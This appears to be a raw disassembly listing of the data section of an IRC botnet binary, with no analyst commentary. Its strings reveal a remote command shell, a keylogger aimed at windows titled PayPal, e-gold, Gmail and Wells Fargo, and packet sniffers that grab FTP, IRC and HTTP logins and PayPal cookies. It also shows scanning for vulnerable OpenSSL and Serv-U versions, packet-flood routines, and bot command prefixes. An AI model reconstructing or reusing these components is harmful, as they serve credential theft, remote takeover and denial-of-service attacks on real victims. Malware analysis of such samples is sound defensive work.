db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+171o
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o
dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+BBo
aClientConnecti db '- client connection from %s:%d.',0
unk_435190 db 2Dh ; - ; DATA XREF: sub_410DAB+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4351CC db 2Dh ; - ; DATA XREF: sub_410DAB+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_435214 db 2Dh ; - ; DATA XREF: sub_410F3C+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_435254 db 2Dh ; - ; DATA XREF: sub_410F3C+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_435298 db 2Dh ; - ; DATA XREF: sub_4111C0+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4352C4 db 2Dh ; - ; DATA XREF: sub_4111C0+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_4352F0 db 2Dh ; - ; DATA XREF: sub_4111C0+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o
align 4
unk_43532C db 2Dh ; - ; DATA XREF: sub_4111C0+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
unk_435384 db 2Dh ; - ; DATA XREF: sub_41141F+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
unk_4353BC db 2Dh ; - ; DATA XREF: sub_41144E+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
unk_4353F4 db 2Dh ; - ; DATA XREF: sub_41144E+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 10h
unk_435430 db 2Dh ; - ; DATA XREF: sub_41144E+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_435474 db 2Dh ; - ; DATA XREF: sub_41144E+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 10h
unk_4354B0 db 2Dh ; - ; DATA XREF: sub_41144E+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_4354F4 db 2Dh ; - ; DATA XREF: sub_41144E+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
unk_435684 db 2Dh ; - ; DATA XREF: sub_4119F9+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_4356C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+1B2o
aFailedToSta_38 db '- Failed to start server on Port %d.',0
align 4
dword_4356F4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+18Fo
aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0
align 10h
dword_435730 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+114o
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_435774 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dword_4357B8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dword_4357F8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_435838 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412197+404o
aEGold db 'e-gold',0 ; DATA XREF: sub_4125FC+13o
align 10h
dd 1Eh dup(0)
aSignIn db 'Sign In',0
dd 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 10h
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
aPosteItaliane db 'Poste Italiane',0
align 4
dd 1Ch dup(0)
aFotolog_net db 'Fotolog.net',0
dd 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
aYahoo db 'Yahoo!',0
align 10h
dd 1Eh dup(0)
aDomainSearch db 'Domain Search',0
align 4
dd 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
aDomainName db 'Domain Name',0
dd 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 4
dd 4 dup(0)
dword_436448 dd 8 ; DATA XREF: sub_4125FC+65o
dword_43644C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_436B7C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
aSS_5 db '%s (%s)',0 ; DATA XREF: sub_4125FC+31o
; sub_41AF8F+EBo
a__S_l_ReturnS db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo
align 4
a__S_l_Return db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o
align 4
a__S_l_Buffer_0 db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o
a__S_l_BufferFu db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o
align 4
a__S_l_ChangedW db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo
align 4
a__S_l_ db '.».%s.«.',0 ; DATA XREF: sub_4126A7+B9o
; sub_4126A7+145o ...
align 4
off_436C48 dd offset dword_4374C0 ; DATA XREF: sub_412B61+2B9r
dd offset off_4374BC
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
a_login db ':.login',0 ; DATA XREF: sub_412B61+1DEo
dd 3 dup(0)
dword_436C6C dd 0 ; DATA XREF: sub_412B61+2B2r
aLogin_2 db ':,login',0
dd 4 dup(0)
aLogin_3 db ':!login',0
dd 4 dup(0)
a@login db ':@login',0
dd 4 dup(0)
aLogin_4 db ':$login',0
dd 4 dup(0)
aLogin_5 db ':%login',0
dd 4 dup(0)
aLogin_6 db ':^login',0
dd 4 dup(0)
aLogin_7 db ':&login',0
dd 4 dup(0)
aLogin_8 db ':*login',0
dd 4 dup(0)
aLogin_9 db ':-login',0
dd 4 dup(0)
aLogin_10 db ':+login',0
dd 4 dup(0)
aLogin_11 db ':/login',0
dd 4 dup(0)
aLogin_12 db ':\login',0
dd 4 dup(0)
aLogin_13 db ':=login',0
dd 4 dup(0)
a?login db ':?login',0
dd 4 dup(0)
aLogin_14 db ':',27h,'login',0
dd 4 dup(0)
aLogin_15 db ':`login',0
dd 4 dup(0)
aLogin_16 db ':~login',0
dd 4 dup(0)
aLogin_17 db ': login',0
dd 4 dup(0)
a_auth db ':.auth',0
align 4
dd 4 dup(0)
aAuth db ':,auth',0
align 10h
dd 4 dup(0)
aAuth_0 db ':!auth',0
align 4
dd 4 dup(0)
a@auth db ':@auth',0
align 10h
dd 4 dup(0)
aAuth_1 db ':$auth',0
align 4
dd 4 dup(0)
aAuth_2 db ':%auth',0
align 10h
dd 4 dup(0)
aAuth_3 db ':^auth',0
align 4
dd 4 dup(0)
aAuth_4 db ':&auth',0
align 10h
dd 4 dup(0)
aAuth_5 db ':*auth',0
align 4
dd 4 dup(0)
aAuth_6 db ':-auth',0
align 10h
dd 4 dup(0)
aAuth_7 db ':+auth',0
align 4
dd 4 dup(0)
aAuth_8 db ':/auth',0
align 10h
dd 4 dup(0)
aAuth_9 db ':\auth',0
align 4
dd 4 dup(0)
aAuth_10 db ':=auth',0
align 10h
dd 4 dup(0)
a?auth db ':?auth',0
align 4
dd 4 dup(0)
aAuth_11 db ':',27h,'auth',0
align 10h
dd 4 dup(0)
aAuth_12 db ':`auth',0
align 4
dd 4 dup(0)
aAuth_13 db ':~auth',0
align 10h
dd 4 dup(0)
aAuth_14 db ': auth',0
align 4
dd 4 dup(0)
a_id db ':.id',0
align 10h
dd 4 dup(0)
aId_0 db ':,id',0
align 4
dd 4 dup(0)
aId_1 db ':!id',0
align 10h
dd 4 dup(0)
a@id db ':@id',0
align 4
dd 4 dup(0)
aId_2 db ':$id',0
align 10h
dd 4 dup(0)
aId_3 db ':%id',0
align 4
dd 4 dup(0)
aId_4 db ':^id',0
align 10h
dd 4 dup(0)
aId_5 db ':&id',0
align 4
dd 4 dup(0)
aId_6 db ':*id',0
align 10h
dd 4 dup(0)
aId_7 db ':-id',0
align 4
dd 4 dup(0)
aId_8 db ':+id',0
align 10h
dd 4 dup(0)
aId_9 db ':/id',0
align 4
dd 4 dup(0)
aId_10 db ':\id',0
align 10h
dd 4 dup(0)
aId_11 db ':=id',0
align 4
dd 4 dup(0)
a?id db ':?id',0
align 10h
dd 4 dup(0)
aId_12 db ':',27h,'id',0
align 4
dd 4 dup(0)
aId_13 db ':`id',0
align 10h
dd 4 dup(0)
aId_14 db ':~id',0
align 4
dd 4 dup(0)
aId_15 db ': id',0
align 10h
dd 4 dup(0)
a_hashin_0 db ':.hashin',0
align 4
dd 3 dup(0)
aHashin_0 db ':!hashin',0
align 10h
aHashin_1 db ':$hashin',0
align 4
dd 3 dup(0)
aHashin_2 db ':%hashin',0
align 10h
a_secure db ':.secure',0
align 4
dd 3 dup(0)
aSecure_1 db ':!secure',0
align 10h
a_l db ':.l',0
dd 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
a_syn db ':.syn',0
align 4
dd 4 dup(0)
aSyn_0 db ':!syn',0
align 10h
dd 4 dup(0)
aSyn_1 db ':$syn',0
align 4
dd 4 dup(0)
aSyn_2 db ':%syn',0
align 10h
dd 4 dup(0)
aCdkey db ' CDKey ',0
dd 4 dup(0)
aJoin_1 db 'JOIN #',0
align 10h
dd 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .data:00436C54o
align 4
aFtp db 'FTP',0 ; DATA XREF: .data:00436C50o
off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: .data:00436C4Co
dword_4374C0 dd 544F42h ; DATA XREF: .data:off_436C48o
dword_4374C4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+317o
aRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
dword_4374F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+2C6o
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_437524 dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_412B61+24Co
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_412B61+235o
align 10h
dword_437540 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+186o
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
dword_437570 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+103o
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_43759C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+85o
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
a_login_1 db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
aLogin db ':!login',0 ; DATA XREF: sub_412EEC+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 4
a302 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 4
aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper_0 db 'oper ',0 ; DATA XREF: sub_413003+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 4
aOper db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
aUser_2 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 10h
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
unk_43789C db 2Dh ; - ; DATA XREF: sub_4135DF+5Eo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413694+302o
dd 203A726Fh, 6425h
unk_4378E0 db 2Dh ; - ; DATA XREF: sub_413A29+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
unk_43792C db 2Dh ; - ; DATA XREF: sub_413A29+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
